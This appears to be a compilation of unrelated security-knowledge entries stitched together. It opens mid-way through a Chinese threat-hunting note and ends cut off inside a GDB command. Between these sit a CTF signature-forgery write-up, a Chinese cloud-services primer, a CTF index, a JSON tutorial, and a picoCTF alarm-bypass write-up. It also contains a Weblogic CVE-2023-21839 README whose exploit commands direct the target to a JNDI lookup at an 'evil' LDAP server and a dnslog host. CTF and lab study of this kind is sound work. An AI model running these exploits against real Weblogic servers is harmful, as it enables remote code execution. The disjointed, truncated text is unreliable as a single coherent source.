没有找到明确的服务,通过[SpeedGuide](https://www.speedguide.net/)查询到的信息: ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814180420.png) ## 相关信息验证 ### 相关资产信息 我们的假设是该IP为浙师大行知的VPN服务器,所以查看该学校利采用的VPN ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814184749.png) ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814184949.png) 可以发现,该学校采用了深信服的EasyConnect VPN服务。 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814185734.png) ## 结论 - 该IP很有可能是学校的资产 - 该IP可能是VPN的出口IP或者学校买的“安恒”设备的IP(注:请看Graph分析) - 但安全设备种类太多,还不太能确定具体是什么类型的设备 - 至于TI平台上显示的该IP的“种种劣迹”,可能是有人挂着该VPN对`zjnu.edu.cn`内网进行了渗透操作,也可能是对其他站 - 以上这些我做的步骤,主要是威胁狩猎的信息搜集部分,威胁狩猎的最终目的呢,是要产出一个关于攻击者的调查报告之类,描述攻击者的情况。主要的重点在于攻击者,依据“每个攻击后面都对应着一个攻击者”的思路。 ## References \[1] https://morongs.github.io/2016/12/28/dajian-ngrok/ \[2] https://nmap.org/man/zh/man-port-scanning-basics.html \[3] https://zh.wikipedia.org/wiki/Privoxy \[4] https://forum.huawei.com/enterprise/zh/thread-417025-1-1.html
sec-knowleage
# OTS (misc, 105 pts, 51 solved) This challenge is a pretty easy crypto challenge. What makes it surprising is that it's very similar to WOTS which is a real world signature scheme. We get a plaintext (something like `My favorite number is 123123123`) and a valid signature. Our goal is to forge the signature. The code (with my refactoring and some debug prints sprinkled in) looks like this: ```python class OTS: def __init__(self): self.key_len = 128 self.priv_key = token_bytes(128 * 16) self.pub_key = b"".join( [self.hash_iter(chonk, 255) for chonk in chonks(self.priv_key, 16)] ).hex() def hash_iter(self, msg, n): assert len(msg) == 16 for i in range(n): msg = hashlib.md5(msg).digest() return msg def wrap(self, msg): raw = msg.encode("utf-8") assert len(raw) <= self.key_len - 16 raw = raw + b"\x00" * (self.key_len - 16 - len(raw)) raw = raw + hashlib.md5(raw).digest() return raw def sign(self, msg): raw = self.wrap(msg) signature = b"".join( [ self.hash_iter(chonk, 255 - raw[i]) for i, chonk in enumerate(chonks(self.priv_key, 16)) ] ).hex() self.verify(msg, signature) return signature def verify(self, msg, signature): raw = self.wrap(msg) print(raw) signature = bytes.fromhex(signature) assert len(signature) == self.key_len * 16 calc_pub_key = b"".join( [ self.hash_iter(chonk, raw[i]) for i, chonk in enumerate(chonks(signature, 16)) ] ).hex() print("===") for r, a, b in zip(raw, chonks(self.pub_key, 32), chonks(calc_pub_key, 32)): print(a, b, chr(r if 32 < r < 128 else 0x20), a == b) assert hmac.compare_digest(self.pub_key, calc_pub_key) ``` Basically, every byte B is signed by hashing privkey 255-X times, and verified by hashing the result of the above X times and comparing it with privkey hashed 255 times (aka the pubkey). After understanding what's going on, we immediately notice that we can decrease any byte in the message and still forge a valid signature (by computing a hash once). So we can take a valid signature for `My favorite number is 1299072346121938061` and change it for a signature for `My faflagte number is 1299072346121938061`. The only problem is the checksum - there is a md5 sum at the end of the input that must match the data. We bruteforced the number at the end, so that every byte of the new md5 will be smaller than the old one, and solved the challenge. Core of the exploit looks like this: ```python def fixup(sign, n, fromwhat, towhat): frag = chonks(sign, 32) for i, c in enumerate(towhat): off = n + i for _ in range(fromwhat[i] - c): frag[off] = hashlib.md5(bytes.fromhex(frag[off])).hexdigest() return "".join(frag) def wrap(raw): raw = raw + b"\x00" * (128 - 16 - len(raw)) return hashlib.md5(raw).digest() origmd5 = wrap(msg) podpis = fixup(podpis, 5, b"vori", b"flag") msg = msg[:5] + b"flag" + msg[9:] N = 6 for rndchrs in itertools.product(string.ascii_uppercase, repeat=N): rndfrag = ''.join(rndchrs).encode() msg = msg[:12] + rndfrag + msg[18:] newmd5 = wrap(msg) for a, b in zip(origmd5, newmd5): if a < b: break else: break podpis = fixup(podpis, 12, b"number", rndfrag) podpis = fixup(podpis, 112, origmd5, newmd5) ``` It's unnecessarily complicated, but still got the job done. ``` SaF{better_stick_with_WOTS+} ```
sec-knowleage
--- title: 云服务 --- <center><h1>云服务</h1></center> --- 云服务,顾名思义就是云上的服务,简单的来说就是在云厂商(例如 AWS、阿里云)那里买的服务。 目前国内云厂商有阿里云、腾讯云、华为云、天翼云、Ucloud、金山云等等,国外有亚马逊的 AWS、Google 的 GCP、微软的 Azure 等等。 </br> <img width="700" src="/img/1649992663.png"> </br></br> 各个云厂商对云服务的叫法都不统一,这里统一以 AWS 为例。 S3 对象存储`Simple Storage Service`,简单的说就是一个类似网盘的东西,当然跟网盘是有一定区别的。 EC2 即弹性计算服务`Elastic Compute Cloud`,简单的说就是在云上的一台虚拟机。 RDS 云数据库`Relational Database Service`,简单的说就是云上的一个数据库。 IAM 身份和访问管理`Identity and Access Management`,简单的说就是云控制台上的一套身份管理服务,可以用来管理每个子账号的权限。 </br> 因为这些原本都放在本地的东西上了云,相应的就会产生对应的安全风险,因为便有了研究的意义。 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
# ASIS CTF 2018 Finals Team: pwn.m0d3, shalom, nazywam, msm, rodbert, cr019283 ### Table of contents * [welcome (re)](re_welcome) * [laxt (ppc)](ppc_laxt) * [green cabbage (for)](for_cabbage) * [made by baby (crypto)](crypto_baby) * [Gunshop 1&2 (re/web)](re_gunshop) * [John Bull (crypto)](crypto_john)
sec-knowleage
# Weblogic Pre-Auth Remote Command Execution (CVE-2023-21839) [中文版本(Chinese version)](README.zh-cn.md) Oracle WebLogic Server is the industry leading application server for building enterprise applications using Java EE standards, and deploying them on a reliable, scalable runtime with low cost of ownership. In [Oracle Critical Patch Update Advisory - January 2023](https://www.oracle.com/security-alerts/cpujan2023.html), Oracle fixed this security vulnerability. CVE-2023-21839 allow remote users to make a JNDI lookup operation through IIOP without authorization, which may cause RCE vulnerability when JDK version is too low or there is a gadget (use javaSerializedData) locally. References: - https://www.oracle.com/security-alerts/cpujan2023.html ## Environment Setup Start a Weblogic server 12.2.1.3 by executing the following command: ``` docker compose up -d ``` After the startup is complete, visit `http://your-ip:7001/console` to view the administrator console login page. ## Exploit https://github.com/4ra1n/CVE-2023-21839 ```shell cd cmd go build -o CVE-2023-21839 ./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil ``` Windows ```shell cd cmd go build -o CVE-2023-21839.exe CVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil ``` DNS Log ```shell CVE-2023-21839.exe -ip 192.168.25.129 -port 7001 -ldap ldap://kmi896.dnslog.cn/test [*] your-ip: 192.168.25.129 [*] your-port: 7001 [*] your-ldap: ldap://kmi896.dnslog.cn/test [*] weblogic 12 [*] id=2 LocateRequest [*] id=3 RebindRequest [*] id=4 RebindRequest [*] id=5 LocateRequest [*] id=6 ResolveRequest [*] id=7 ResolveRequest ``` ![](1.png)
sec-knowleage
# JSON 学习笔记 --- **在线 JSON 格式化** - https://www.json.cn/ - http://www.bejson.com/ - https://github.com/jsonhero-io/jsonhero-web - https://jsonhero.io/ **JSONPath 在线查询工具** - http://jsonpath.com/ **文章** - [WORKING WITH DATA IN JSON FORMAT](https://www.trustedsec.com/blog/working-with-data-in-json-format/) --- **什么是 JSON ?** JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation),一种轻量级的文本数据交换格式,是存储和交换文本信息的语法。类似 XML。 JSON 独立于语言:JSON 使用 Javascript语法来描述数据对象,但是 JSON 仍然独立于语言和平台。JSON 解析器和JSON 库支持许多不同的编程语言。 目前非常多的动态(PHP,JSP,.NET)编程语言都支持JSON。 JSON 具有自我描述性,更易理解,比 XML 更小、更快,更易解析。 ```json { "sites": [ { "name":"test" , "url":"www.test.com" }, { "name":"google" , "url":"www.google.com" }, { "name":"微博" , "url":"www.weibo.com" } ] } ``` 这个 sites 对象是包含 3 个站点记录(对象)的数组。 JSON 文本格式在语法上与创建 JavaScript 对象的代码相同。 由于这种相似性,无需解析器,JavaScript 程序能够使用内建的 `eval()` 函数,用 JSON 数据来生成原生的 JavaScript 对象。 JSON 文件的文件类型是 ".json" JSON 文本的 MIME 类型是 "application/json" **与 XML 对比** - **与 XML 相同之处** - JSON 是纯文本 - JSON 具有"自我描述性"(人类可读) - JSON 具有层级结构(值中存在值) - JSON 可通过 JavaScript 进行解析 - JSON 数据可使用 AJAX 进行传输 - **与 XML 不同之处** - 没有结束标签 - 更短 - 读写的速度更快 - XML 需要使用 XML 解析器来解析,JSON 可以使用标准的 JavaScript 函数来解析。 - 使用数组 - 不使用保留字 --- ## 语法 JSON 语法是 JavaScript 语法的子集。 - 数据在名称/值对中 - 数据由逗号分隔 - 大括号保存对象 - 中括号保存数组 **JSON 名称/值对** JSON 数据的书写格式是:名称/值对。 名称/值对包括字段名称(在双引号中),后面写一个冒号,然后是值: ```json "name" : "test" ``` 这很容易理解,等价于这条 JavaScript 语句: ```js name = "test" ``` **JSON 值** JSON 值可以是: - 数字(整数或浮点数) - 字符串(在双引号中) - 逻辑值(true 或 false) - 数组(在中括号中) - 对象(在大括号中) - null **JSON 数字** JSON 数字可以是整型或者浮点型: ```json { "age":30 } ``` **JSON 对象** JSON 对象在大括号 `{}` 中书写: 对象可以包含多个名称/值对: ```json { "name":"test" , "url":"www.test.com" } ``` 这一点也容易理解,与这条 JavaScript 语句等价: ```js name = "test" url = "www.test.com" ``` **JSON 数组** JSON 数组在中括号中书写: 数组可包含多个对象: ```json { "sites": [ { "name":"test" , "url":"www.test.com" }, { "name":"google" , "url":"www.google.com" }, { "name":"微博" , "url":"www.weibo.com" } ] } ``` 在上面的例子中,对象 "sites" 是包含三个对象的数组。每个对象代表一条关于某个网站(name、url)的记录。 **JSON 布尔值** JSON 布尔值可以是 true 或者 false: ```json { "flag":true } ``` **JSON null** JSON 可以设置 null 值: ```json { "test":null } ``` **JSON 使用 JavaScript 语法** 因为 JSON 使用 JavaScript 语法,所以无需额外的软件就能处理 JavaScript 中的 JSON。 通过 JavaScript,你可以创建一个对象数组,并像这样进行赋值: ```js var sites = [ { "name":"test" , "url":"www.test.com" }, { "name":"google" , "url":"www.google.com" }, { "name":"微博" , "url":"www.weibo.com" } ]; ``` 可以像这样访问 JavaScript 对象数组中的第一项(索引从 0 开始): ```js sites[0].name; ``` 返回的内容是: ``` test ``` 可以像这样修改数据: ```js sites[0].name="test"; ``` --- ## 对象 **对象语法** ```json { "name":"test", "alexa":10000, "site":null } ``` JSON 对象使用在大括号 `{}` 中书写。 对象可以包含多个 key/value(键/值)对。 key 必须是字符串,value 可以是合法的 JSON 数据类型(字符串, 数字, 对象, 数组, 布尔值或 null)。 key 和 value 中使用冒号 `:` 分割。 每个 key/value 对使用逗号 `,` 分割。 **访问对象值** 你可以使用点号 `.` 来访问对象的值: ```html <p id="demo"></p> <script> var myObj, x; myObj = { "name":"test", "alexa":10000, "site":null }; x = myObj.name; document.getElementById("demo").innerHTML = x; </script> ``` 你也可以使用中括号 `[]` 来访问对象的值: ```js var myObj, x; myObj = { "name":"test", "alexa":10000, "site":null }; x = myObj["name"]; ``` **循环对象** 你可以使用 for-in 来循环对象的属性: ```html <p id="demo"></p> <script> var myObj = { "name":"test", "alexa":10000, "site":null }; for (x in myObj) { document.getElementById("demo").innerHTML += x + "<br>"; } </script> ``` 在 for-in 循环对象的属性时,使用中括号 `[]` 来访问属性的值: ```js var myObj = { "name":"test", "alexa":10000, "site":null }; for (x in myObj) { document.getElementById("demo").innerHTML += myObj[x] + "<br>"; } ``` **嵌套 JSON 对象** JSON 对象中可以包含另外一个 JSON 对象: ```json myObj = { "name":"test", "alexa":10000, "sites": { "site1":"www.test.com", "site2":"m.test.com", "site3":"c.test.com" } } ``` 你可以使用点号 `.` 或者中括号 `[]` 来访问嵌套的 JSON 对象。 ```html <p id="demo"></p> <script> myObj = { "name":"test", "alexa":10000, "sites": { "site1":"www.test.com", "site2":"m.test.com", "site3":"c.test.com" } } document.getElementById("demo").innerHTML += myObj.sites.site1 + "<br>"; // 或者 document.getElementById("demo").innerHTML += myObj.sites["site1"]; </script> ``` **修改值** 你可以使用点号 `.` 来修改 JSON 对象的值: ```html <p id="demo"></p> <script> var myObj, i, x = ""; myObj = { "name":"test", "alexa":10000, "sites": { "site1":"www.test.com", "site2":"m.test.com", "site3":"c.test.com" } } myObj.sites.site1 = "www.google.com"; for (i in myObj.sites) { x += myObj.sites[i] + "<br>"; } document.getElementById("demo").innerHTML = x; </script> ``` 你可以使用中括号 `[]` 来修改 JSON 对象的值: ```js myObj.sites["site1"] = "www.google.com"; ``` **删除对象属性** 我们可以使用 delete 关键字来删除 JSON 对象的属性: ```html <p id="demo"></p> <script> var myObj, i, x = ""; myObj = { "name":"test", "alexa":10000, "sites": { "site1":"www.test.com", "site2":"m.test.com", "site3":"c.test.com" } } delete myObj.sites.site1; for (i in myObj.sites) { x += myObj.sites[i] + "<br>"; } document.getElementById("demo").innerHTML = x; </script> ``` 你可以使用中括号 `[]` 来删除 JSON 对象的属性: ```js delete myObj.sites["site1"] ``` ## JSON.parse() JSON 通常用于与服务端交换数据。 在接收服务器数据时一般是字符串。 我们可以使用 `JSON.parse()` 方法将数据转换为 JavaScript 对象。 ```js JSON.parse(text[, reviver]) ``` - text:必需, 一个有效的 JSON 字符串。 - reviver: 可选,一个转换结果的函数, 将为对象的每个成员调用此函数。 **JSON 解析实例** 例如我们从服务器接收了以下数据: ```json { "name":"test", "alexa":10000, "site":"www.test.com" } ``` 我们使用 `JSON.parse()` 方法处理以上数据,将其转换为 JavaScript 对象: ```js var obj = JSON.parse('{ "name":"test", "alexa":10000, "site":"www.test.com" }'); ``` 解析完成后,我们就可以在网页上使用 JSON 数据了: ```js <p id="demo"></p> <script> var obj = JSON.parse('{ "name":"test", "alexa":10000, "site":"www.test.com" }'); document.getElementById("demo").innerHTML = obj.name + ":" + obj.site; </script> ``` **从服务端接收 JSON 数据** 我们可以使用 AJAX 从服务器请求 JSON 数据,并解析为 JavaScript 对象。 ```html <p id="demo"></p> <script> var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { myObj = JSON.parse(this.responseText); document.getElementById("demo").innerHTML = myObj.name; } }; xmlhttp.open("GET", "/ajax/json_demo.txt", true); xmlhttp.send(); </script> <p>查看 JSON 文件数据 <a href="/ajax/json_demo.txt" target="_blank">json_demo.txt</a></p> ``` json_demo.txt ```json { "name":"网站", "num":3, "sites": [ { "name":"Google", "info":[ "Android", "Google 搜索", "Google 翻译" ] }, { "name":"Taobao", "info":[ "淘宝", "网购" ] } ] } ``` **从服务端接收数组的 JSON 数据** 如果从服务端接收的是数组的 JSON 数据,则 `JSON.parse` 会将其转换为 JavaScript 数组: ```html <p id="demo"></p> <script> var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { myArr = JSON.parse(this.responseText); document.getElementById("demo").innerHTML = myArr[1]; } }; xmlhttp.open("GET", "/ajax/json_demo_array.txt", true); xmlhttp.send(); </script> <p>查看服务端数据 <a href="/ajax/json_demo_array.txt" target="_blank">json_demo_array.txt</a></p> ``` json_demo_array.txt ```json [ "Google", "test", "Taobao" ] ``` **异常** JSON 不能存储 Date 对象。 如果你需要存储 Date 对象,需要将其转换为字符串。 之后再将字符串转换为 Date 对象。 ```html <p id="demo"></p> <script> var text = '{ "name":"test", "initDate":"2013-12-14", "site":"www.test.com"}'; var obj = JSON.parse(text); obj.initDate = new Date(obj.initDate); document.getElementById("demo").innerHTML = obj.name + "创建日期: " + obj.initDate; </script> ``` 我们可以启用 `JSON.parse` 的第二个参数 reviver,一个转换结果的函数,对象的每个成员调用此函数。 ```html <p id="demo"></p> <script> var text = '{ "name":"test", "initDate":"2013-12-14", "site":"www.test.com"}'; var obj = JSON.parse(text, function (key, value) { if (key == "initDate") { return new Date(value); } else { return value; }}); document.getElementById("demo").innerHTML = obj.name + "创建日期:" + obj.initDate; </script> ``` **解析函数** JSON 不允许包含函数,但你可以将函数作为字符串存储,之后再将字符串转换为函数。 ```html <p id="demo"></p> <script> var text = '{ "name":"test", "alexa":"function () {return 10000;}", "site":"www.test.com"}'; var obj = JSON.parse(text); obj.alexa = eval("(" + obj.alexa + ")"); document.getElementById("demo").innerHTML = obj.name + " Alexa 排名:" + obj.alexa(); </script> ``` 不建议在 JSON 中使用函数。 --- ## JSON.stringify() JSON 通常用于与服务端交换数据。 在向服务器发送数据时一般是字符串。 我们可以使用 `JSON.stringify()` 方法将 JavaScript 对象转换为字符串。 ```js JSON.stringify(value[, replacer[, space]]) ``` 参数说明: - value : 必需, 要转换的 JavaScript 值(通常为对象或数组)。 - replacer : 可选。用于转换结果的函数或数组。 如果 replacer 为函数,则 JSON.stringify 将调用该函数,并传入每个成员的键和值。使用返回值而不是原始值。如果此函数返回 undefined,则排除成员。根对象的键是一个空字符串:""。 如果 replacer 是一个数组,则仅转换该数组中具有键值的成员。成员的转换顺序与键在数组中的顺序一样。当 value 参数也为数组时,将忽略 replacer 数组。 - space : 可选,文本添加缩进、空格和换行符,如果 space 是一个数字,则返回值文本在每个级别缩进指定数目的空格,如果 space 大于 10,则文本缩进 10 个空格。space 也可以使用非数字,如:\t。 **对象转换** 例如我们向服务器发送以下数据: ```js var obj = { "name":"test", "alexa":10000, "site":"www.test.com"}; ``` 我们使用 `JSON.stringify()` 方法处理以上数据,将其转换为字符串: ```js var myJSON = JSON.stringify(obj); ``` myJSON 为字符串。 我们可以将 myJSON 发送到服务器: ```html <p id="demo"></p> <script> var obj = { "name":"test", "alexa":10000, "site":"www.test.com"}; var myJSON = JSON.stringify(obj); document.getElementById("demo").innerHTML = myJSON; </script> ``` **数组转换** 我们也可以将 JavaScript 数组转换为 JSON 字符串: ```js var arr = [ "Google", "test", "Taobao", "Facebook" ]; var myJSON = JSON.stringify(arr); ``` myJSON 为字符串。 我们可以将 myJSON 发送到服务器: ```html <p id="demo"></p> <script> var arr = [ "Google", "test", "Taobao", "Facebook" ]; var myJSON = JSON.stringify(arr); document.getElementById("demo").innerHTML = myJSON; </script> ``` **异常** JSON 不能存储 Date 对象。 `JSON.stringify()` 会将所有日期转换为字符串。 ```html <p id="demo"></p> <script> var obj = { "name":"test", "initDate":new Date(), "site":"www.test.com"}; var myJSON = JSON.stringify(obj); document.getElementById("demo").innerHTML = myJSON; </script> ``` 之后你可以再将字符串转换为 Date 对象。 **解析函数** JSON 不允许包含函数,`JSON.stringify()` 会删除 JavaScript 对象的函数,包括 key 和 value。 ```html <p id="demo"></p> <script> var obj = { "name":"test", "alexa":function () {return 10000;}, "site":"www.test.com"}; var myJSON = JSON.stringify(obj); document.getElementById("demo").innerHTML = myJSON; </script> ``` 我们可以在执行 `JSON.stringify()` 函数前将函数转换为字符串来避免以上问题的发生: ```html <p id="demo"></p> <script> var obj = { "name":"test", "alexa":function () {return 10000;}, "site":"www.test.com"}; obj.alexa = obj.alexa.toString(); var myJSON = JSON.stringify(obj); document.getElementById("demo").innerHTML = myJSON; </script> ``` 不建议在 JSON 中使用函数。 --- ## JSON 使用 JSON 最常见的用法之一,是从 web 服务器上读取 JSON 数据(作为文件或作为 HttpRequest),将 JSON 数据转换为 JavaScript 对象,然后在网页中使用该数据。 **JSON 实例 - 来自字符串的对象** 创建包含 JSON 语法的 JavaScript 字符串: ```js var txt = '{ "sites" : [' + '{ "name":"test" , "url":"www.test.com" },' + '{ "name":"google" , "url":"www.google.com" },' + '{ "name":"微博" , "url":"www.weibo.com" } ]}'; ``` 由于 JSON 语法是 JavaScript 语法的子集,JavaScript 函数 `eval()` 可用于将 JSON 文本转换为 JavaScript 对象。 `eval()` 函数使用的是 JavaScript 编译器,可解析 JSON 文本,然后生成 JavaScript 对象。必须把文本包围在括号中,这样才能避免语法错误: ```js var obj = eval ("(" + txt + ")"); ``` 在网页中使用 JavaScript 对象: ```html <p> 网站名: <span id="name"></span><br> 网站地址: <span id="url"></span><br> </p> <script> var txt = '{ "sites" : [' + '{ "name":"test" , "url":"www.test.com" },' + '{ "name":"google" , "url":"www.google.com" },' + '{ "name":"微博" , "url":"www.weibo.com" } ]}'; var obj = eval ("(" + txt + ")"); document.getElementById("name").innerHTML=obj.sites[0].name document.getElementById("url").innerHTML=obj.sites[0].url </script> ``` **JSON 解析器** `eval()` 函数可编译并执行任何 JavaScript 代码。这隐藏了一个潜在的安全问题。 使用 JSON 解析器将 JSON 转换为 JavaScript 对象是更安全的做法。JSON 解析器只能识别 JSON 文本,而不会编译脚本。 在浏览器中,这提供了原生的 JSON 支持,而且 JSON 解析器的速度更快。 较新的浏览器和最新的 ECMAScript (JavaScript) 标准中均包含了原生的对 JSON 的支持。 --- ## jsonl `jsonlines` - https://jsonlines.org/examples/ --- ## Source & Reference - [JSON 教程](https://www.runoob.com/json/json-tutorial.html) - [.jsonl,jsonlines比json格式更好用的文件格式](https://blog.csdn.net/ykf173/article/details/107351057)
sec-knowleage
# Time's Up, For the Last Time! Reverse Engineering, 500 points ## Description: > You've solved things fast. You've solved things faster! Now do the impossible. ## Solution: This is the follow-up for [Time's Up, Again!](Times_Up_Again.md). Let's run the attached file: ```console root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# ./times-up-one-last-time Challenge: (((((-1584302183) + (-971218067)) / ((1583603162) + (-545554333))) * (((1232213110) % (196087411)) t (((-1081550733) - (-182471578)) / ((-661669944) ^ (-1055552917))))) ^ ((((663349295) o (-1576825584)) r ((430910707) + (-1708745368))) * (((-169273934) % ((-1532525736) o (1490257609))) x ((-1897158128) ^ (-1518431513))))) Setting alarm... Solution? Alarm clock ``` We got a mathematical expression (with new and weird operators), and shortly after, the program got killed by an alarm. How long is the alarm? Let's use `strace` to see: ```console root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# strace ./times-up-one-last-time 2>&1 | grep setitimer setitimer(ITIMER_REAL, {it_interval={tv_sec=0, tv_usec=0}, it_value={tv_sec=0, tv_usec=10}}, {it_interval={tv_sec=0, tv_usec=0}, it_value={tv_sec=0, tv_usec=0}}) = 0 ``` 10 uSeconds? There's nothing really we can do in such a short period. There must be a workaround. Searching for methods to disable an `alarm()`, a repository named [preeny](https://github.com/zardus/preeny) surfaces. > Preeny helps you pwn noobs by making it easier to interact with services locally. It disables fork(), rand(), and alarm() and, if you want, can convert a server application to a console one using clever/hackish tricks, and can even patch binaries! This solution creates dummy libraries which can replace the standard libraries using the `LD_PRELOAD` environment variable. When this variable is set to the path of a shared object, that file will be loaded before any other library (including the C runtime, `libc.so`). Therefore, it's possible to replace the functionality of any C library function. Let's try it locally. Since our program uses `ualarm` and not `alarm`, I had to implement another function in `preeny/src/dealarm.c` (using `LD_DEBUG=all` was very helpful in identifying this): ```console root@kali:~/utils/preeny# cat src/dealarm.c #include "logging.h" #include <unistd.h> unsigned int alarm(unsigned int seconds) { preeny_info("alarm blocked\n"); return 0; } useconds_t ualarm(useconds_t usecs, useconds_t interval) { preeny_info("ualarm blocked\n"); return 0; } ``` Now we can use `LD_PRELOAD` and the alarm won't trigger: ```console root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# LD_PRELOAD=/root/utils/preeny/x86_64-linux-gnu/dealarm.so ./times-up-one-last-time Challenge: ((((((-1300698887) ^ (-949765080)) r (1864106005)) - ((-1324978037) | (573959822))) * (((107131526) o (62906438)) x ((1530078919) % ((1826216697) t (-1912045987))))) o ((((-1157469812) - (1887024561)) t ((-896795094) / (-521129896))) * (((-1434685180) + (-1436379568)) r ((-698190073) * (458457333))))) Setting alarm... Solution? 1234 Nope! ``` Unfortunately, this won't work on the remote server, since the program has `setgid` attribute set, allowing it to elevate privileges when needed (e.g. when it wants to read the flag). ```console dvdalt@pico-2019-shell1:/problems/time-s-up--for-the-last-time-_1_a7830af9d51a361ee5d3b9eece69c22f$ ls -al total 92 drwxr-xr-x 2 root root 4096 Sep 28 21:53 . drwxr-x--x 684 root root 69632 Oct 10 18:02 .. -r--r----- 1 hacksports time-s-up--for-the-last-time-_1 46 Sep 28 21:52 flag.txt -rwxr-sr-x 1 hacksports time-s-up--for-the-last-time-_1 10224 Sep 28 21:52 times-up-one-last-time ``` > For security purposes, the invoking user is usually prohibited by the system from altering the new process in any way, such as by using ptrace, LD_LIBRARY_PATH or sending signals to it, to exploit the raised privilege, although signals from the terminal will still be accepted. (Source: [Wikipedia](https://en.wikipedia.org/wiki/Setuid)) This includes also `LD_PRELOAD`. However, the article didn't mention **blocking signals**. > A signal may be blocked, which means that it will not be delivered until it is later unblocked. Between the time when it is generated and when it is delivered a signal is said to be pending. > > ... > > A child created via fork(2) inherits a copy of its parent's signal mask; the signal mask is preserved across execve(2). ([Source](http://man7.org/linux/man-pages/man7/signal.7.html)) So we should be able to reuse our `C` program from the previous challenge. This time, before `fork`-ing, we must block the `SIGALRM` signal as well. This brings us to our next problem: How do we solve the new expression and what are all these new operators? It's time to dive into Ghidra's disassembly: ```c undefined8 main(void) { init_random(); printf("Challenge: "); create_expression(); putchar(10); fflush(stdout); puts("Setting alarm..."); fflush(stdout); ualarm(10,0); printf("Solution? "); __isoc99_scanf(&g_format,&g_user_input); if (g_user_input == g_expected_result) { puts("Congrats! Here is the flag!"); system("/bin/cat flag.txt"); } else { puts("Nope!"); } return 0; } ``` The interesting function is `create_expression`: ```c void create_expression(void) { g_expected_result = get_expression(4); return; } ulong get_expression(uint depth) { undefined8 uVar1; ulong uVar2; ulong uVar3; ulong uVar4; if (depth == 0) { uVar1 = get_random_number(); uVar2 = SEXT48((int)uVar1); printf("(%lld)",uVar2); } else { uVar2 = maybe_decrease_depth(depth); uVar3 = maybe_decrease_depth(depth); uVar4 = get_random_operator(); putchar('('); uVar2 = get_expression((uint)uVar2); printf(" %c ",(ulong)(uint)(int)(char)uVar4); uVar3 = get_expression((uint)uVar3); putchar(')'); uVar2 = solve_expression((char)uVar4,uVar2,uVar3); } return uVar2; } ``` What we see here is a function that recursively builds an expression using random choices. In parallel, also the expected result is built via calls to `solve_expression`: ```c ulong solve_expression(undefined param_1,ulong param_2,ulong param_3) { switch(param_1) { case 0x25: // % if (param_3 != 0) { param_2 = (long)param_2 % param_3; } break; case 0x26: // & param_2 = param_2 & param_3; break; default: /* WARNING: Subroutine does not return */ exit(1); case 0x2a: // * param_2 = param_2 * param_3; break; case 0x2b: // + param_2 = param_3 + param_2; break; case 0x2d: // - param_2 = param_2 - param_3; break; case 0x2f: // / if (param_3 != 0) { param_2 = (long)param_2 / (long)param_3; } break; case 0x5e: // ^ param_2 = param_2 ^ param_3; break; case 0x66: // f break; case 0x6f: // o param_2 = param_3; break; case 0x72: // r param_2 = param_3; break; case 0x74: // t break; case 0x78: // x param_2 = param_3; break; case 0x7c: // | param_2 = param_2 | param_3; } return param_2; } ``` This is the function that explains what the new operators do. We should be able to modify our previous solution to account for the new operators, but we'd like to generate a few examples to make sure our implementation is correct. Let's do that with `GDB`. What we need is the expression (which is printed to `stdout` by the program) and the expected result (which is visible in `create_expression`). Since the executable has `PIE` enabled, we start by calling `set disable-randomization on` to disable address randomization, then step through the code untl we arrive to `create_expression`: ``` gdb-peda$ disas 0x0000555555554e96, 0x555555554ead Dump of assembler code from 0x555555554e96 to 0x555555554ead: 0x0000555555554e96: push rbp 0x0000555555554e97: mov rbp,rsp 0x0000555555554e9a: mov edi,0x4 0x0000555555554e9f: call 0x555555554dce => 0x0000555555554ea4: mov QWORD PTR [rip+0x2038cd],rax # 0x555555758778 0x0000555555554eab: nop 0x0000555555554eac: pop rbp End of assembler dump. ``` Our result is the return value of `call 0x555555554dce`, visible in `rax` at address `0x0000555555554ea4`. In order to save the need to repeat the process multiple times, let's rephrase this as a one-liner which will print the expression and the expected result directly from the command line: ``` root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# LD_PRELOAD=/root/utils/preeny/x86_64-linux-gnu/dealarm.so gdb -ex 'set disable-randomization on' -ex 'dprintf *0x555555554ea4, "Result: %lld\n", $rax' -ex 'r <<< "0\n"' -ex 'q' ./test 2>&1 | grep "Result" -A 1 Result: -1077552436 Challenge: (((((1010419654) f (833747938)) % ((1326039599) & (-1838119057))) r (((-645474463) f (-323135453)) o ((-1741026520) + (1399763289)))) - ((((1010473730) | (-10720867)) * ((-830514850) x (-1313980518))) x (((1863694028) % (1127404824)) | (((284466338) + (966994831)) / (660177013))))) root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# LD_PRELOAD=/root/utils/preeny/x86_64-linux-gnu/dealarm.so gdb -ex 'set disable-randomization on' -ex 'dprintf *0x555555554ea4, "Result: %lld\n", $rax' -ex 'r <<< "0\n"' -ex 'q' ./test 2>&1 | grep "Result" -A 1 Result: -1567918110277765 Challenge: (((((1591946486) r (-1331969196)) o (((-1911788283) o (1371174778)) & (1747890195))) - (((-53926145) * (199210871)) - ((2133037019) * (196902112)))) | ((((842431978) & (481528503)) | ((-1399236960) - (-1419357215))) * (((-1890214325) x (-1261630713)) % ((1427727991) ^ (1213549524))))) root@kali:/media/sf_CTFs/pico/Times_Up_For_the_Last_Time# LD_PRELOAD=/root/utils/preeny/x86_64-linux-gnu/dealarm.so gdb -ex 'set disable-randomization on' -ex 'dprintf *0x555555554ea4, "Result: %lld\n", $rax' -ex 'r <<< "0\n"' -ex 'q' ./test 2>&1 | grep "Result" -A 1 Result: -92577501878885090 Challenge: (((((1209766958) * (-1502282569)) & ((29553023) - (-466860704))) * (((1886285652) + (-781523424)) + ((-2092310292) x (-1793126629)))) f ((((-1933428190) * (-1349379277)) r ((-651888835) % 